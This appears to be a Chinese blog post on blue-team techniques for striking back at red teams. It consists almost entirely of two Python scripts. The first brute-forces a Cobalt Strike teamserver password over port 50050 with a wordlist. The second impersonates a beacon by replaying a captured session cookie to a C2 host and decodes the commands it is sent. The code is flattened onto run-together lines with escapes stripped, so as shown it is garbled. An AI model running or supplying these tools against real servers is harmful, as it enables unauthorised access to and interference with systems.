红蓝对抗系列之浅谈蓝队反制红队的手法一二

# !/usr/bin/env python3
import time,socket,ssl,argparse,concurrent.futures,sys
MIN_PYTHON = (3, 3)if sys.version_info < MIN_PYTHON:    sys.exit("Python %s.%s or later is required.n" % MIN_PYTHON)
parser = argparse.ArgumentParser()
parser.add_argument("host",                    help="Teamserver address")parser.add_argument("wordlist", nargs="?",                    help="Newline-delimited word list file")
args = parser.parse_args()
class NotConnectedException(Exception):    def __init__(self, message=None, node=None):        self.message = message        self.node = node
class DisconnectedException(Exception):    def __init__(self, message=None, node=None):        self.message = message        self.node = node
class Connector:    def __init__(self):        self.sock = None        self.ssl_sock = None        self.ctx = ssl.SSLContext()        self.ctx.verify_mode = ssl.CERT_NONE        pass
    def is_connected(self):        return self.sock and self.ssl_sock
    def open(self, hostname, port):        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        self.sock.settimeout(10)        self.ssl_sock = self.ctx.wrap_socket(self.sock)
        if hostname == socket.gethostname():            ipaddress = socket.gethostbyname_ex(hostname)[2][0]            self.ssl_sock.connect((ipaddress, port))        else:            self.ssl_sock.connect((hostname, port))
    def close(self):        if self.sock:            self.sock.close()        self.sock = None        self.ssl_sock = None
    def send(self, buffer):        if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)")        self.ssl_sock.sendall(buffer)
    def receive(self):        if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)")        received_size = 0        data_buffer = b""
        while received_size < 4:            data_in = self.ssl_sock.recv()            data_buffer = data_buffer + data_in            received_size += len(data_in)
        return data_buffer
def passwordcheck(password):    if len(password) > 0:        result = None        conn = Connector()        conn.open(args.host, 50050)        payload = bytearray(b"x00x00xbexef") + len(password).to_bytes(1, "big", signed=True) + bytes(bytes(password, "ascii").ljust(256, b"A"))        conn.send(payload)        if conn.is_connected(): result = conn.receive()        if conn.is_connected(): conn.close()        if result == bytearray(b"x00x00xcaxfe"): return password        else: return False    else: print("Do not have a blank password!!!")
passwords = []
if args.wordlist: passwords = open(args.wordlist).read().split("n")else:     for line in sys.stdin: passwords.append(line.rstrip())
if len(passwords) > 0:    attempts = 0    failures = 0
    with concurrent.futures.ThreadPoolExecutor(max_workers=30) as executor:
        future_to_check = {executor.submit(passwordcheck, password): password for password in passwords}        for future in concurrent.futures.as_completed(future_to_check):            password = future_to_check[future]            try:                data = future.result()                attempts = attempts + 1                if data:                    print ("Successful Attack!!!")                    print("Target Password: {}".format(password))            except Exception as exc:                failures = failures + 1                print('%r generated an exception: %s' % (password, exc))
else:    print("Password(s) required")

# coding: utf-8
import reimport timeimport requests
def heartbeat():    url = "http://192.168.186.133:333/activity"    headers = {            'Cookie': 'IgyzGuIX0Jra5Ht45ZLYKyXWBnxfkNI3m6BOvExEPdWCuAv8fnY6HXKTygBOVdE34sDYusoDIjzHr/QR32mKsoVPb5NFMCHAtC7FLQUdSsZdufXjsd2dSqkGDcaZkcQYD1BssyjGZHTy42lT8oDpga3y1z5FMGRjobeksgaMX7M=',            'Host': '192.168.186.133:333',            'Accept': '*/*',            'Connection': 'Keep-Alive',            'Cache-Control': 'no-cache',            'User-Agent': 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727)'        }    resp = requests.get(url=url,headers=headers)    text = resp.content.hex()    return text
x = Truewhile x:    text = heartbeat()    lengs = len(text)    # print(lengs, "    ", text)
    if '2f4320' in text and '000041' in text:        print(time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()))
        commeds = re.findall(r'2f4320(.*?)000041', text)        for comm in commeds:            commed = bytes.fromhex(comm).decode('utf-8')            print(commed)    time.sleep(5)